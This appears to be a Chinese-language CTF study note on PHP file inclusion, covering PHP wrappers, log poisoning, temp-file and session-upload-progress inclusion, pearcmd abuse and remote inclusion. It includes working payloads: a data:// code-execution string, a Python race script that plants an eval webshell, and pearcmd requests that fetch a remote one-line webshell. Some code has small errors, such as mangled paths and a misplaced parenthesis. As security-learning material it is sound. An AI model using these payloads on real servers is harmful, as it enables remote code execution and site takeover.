php文件包含
- 互联网
- 2025-08-26 09:12:01

文章目录 基础概念php伪协议什么是协议协议的格式php中的协议file协议http协议ftp协议php://input协议php://filter协议php://data协议 php文件上传机制高级文件包含nginx文件日志包含临时文件包含session文件包含pear文件包含远程文件包含 基础概念
文件包含,相当于c语言中的#include,即通过头文件就可以调用文件中的代码 文件包含最基础的作用,就是读取非php类型的文件 php常见的文件包含语言结构
include ‘path’,包含这个文件,如果文件没了也不影响,继续往下执行require:包含必须成功,失败则会报错require_once:与 require 相似,都是用于包含并执行指定的 PHP 文件,但它确保该文件在脚本中只会被包含 一次。如果该文件已经被包含过,require_once 就不会再包含它。include_once:类似require_once php伪协议伪协议即只能在php里面用,在其他地方用不了
什么是协议 协议的格式协议头://内容
php中的协议 file协议相对路径和绝对路径
. . / ../ ../:上层目录
上层目录的特点 每个目录都有上层目录根目录的上层目录是根目录php的文件整理特性: /html/…/== / http协议 file_get_contens()函数,给定url地址,通过http协议可以将内容读取include ‘http://’同样可以包含远程地址 ftp协议默认21端口,进行文件传输
php://input协议在发的http请求中呈现数据最原始的形式,如果没有php标记,就会当作文本文档呈现,如果有php语法标记,则会执行代码的内容
php://filter协议通过协议自带的编码解码绕过
file=php://filter/write=convert.base64-decode/resource=1.php 将解码后的内容写入1.php文件 同样可以用write=string.rot13绕过死亡代码
php://data协议到这里感觉到了各协议其实都可以用于执行自己写的php代码,以data协议为例
data://,<?php phpinfo(); ?>
php文件上传机制可以强制向网页上传文件,上传的文件存放在/tmp/php???的一个地方,临时文件在脚本执行完后就被删除,所以应该用bp抓包,并将最后一位匹配大写字母[@-[]
高级文件包含 nginx文件日志包含nginx可以认为是http的服务器软件,提供了http服务,并默认监听80端口,如果接收到php文件,就将它转发到9000端口,9000端口由另一个服务器端软件监听,叫做php-fpm,它提供解析php代码的作用,并将执行结果返回给nginx,nginx将执行结果返回客户端,这个客户端也就是浏览器
日志包含,就是通过将恶意代码通过user-agent等方式传入日志中,再包含日志,就会执行其中的php代码日志文件默认路径 \var\log\nginx\access.log 注意代码一定不要写错,否则报错了就只能重置环境
临时文件包含注意不能用通配符
上传的文件放在$_FILES这个超全局变量里,包括上传的php脚本,如果能找到这个php脚本在上传文件中的名字和位置,就可以利用文件包含执行这个脚本,但是在上传脚本执行完之后攻击脚本就会自动删除,所以需要在脚本执行期间完成文件包含php返回数据的特点,一段一段返回,每4096个字符返回一次,所以可以在返回字符中一直读取,一旦读到tmp_name就立刻进行包含,即phpinfo lfi session文件包含session:根据cookie管理临时文件
如果将恶意代码注入session所在的临时文件,就可以实现与临时文件包含类似的效果 import requests import threading session=requests.session() sess='ctfshow' file_name='/var/ /html/1.php' file_contents='<?php eval($_POST[1];?>)' url='http' data={ 'PHP_SESSION_UPLOAD_PROGRESS':f"<?php echo 'success';file_put_contents('{file_name}','{file_contents}')?>" } file={ 'file':'ctfshow' } cookies={ 'PHPSESSID':'ctfshow' } def write(): while True: r=session.post(url=url,data=data,files=file,cookies=cookies) def read(): while True: r=session.post(url=url+'?file=../../../../../tmp/sess_ctfshow') if 'success' in r.text: print('shell地址为:'+url+'/1.php') exit()pear文件包含
使用条件
有文件包含点开启了pear扩展配置中register_argc_argv设置为on,而默认为off利用方式1:利用扩展远程下载一句话木马
url+?file=/user/loca/lib/php/pearcmd.php&x+install+-R+/var/ /html(本地地址)+url(远程下载地址)
利用方式2:生成配置文件,在配置项中含恶意代码
url+?file=/user/loca/lib/php/pearcmd.php&+-c+\tmp\a.php+-d+man_dir=<?php eval($_POST[1]);?>+-s+
远程文件包含类似远程文件下载,必要时可用域名转数字
下一篇
Vue2/Vue3自定义指令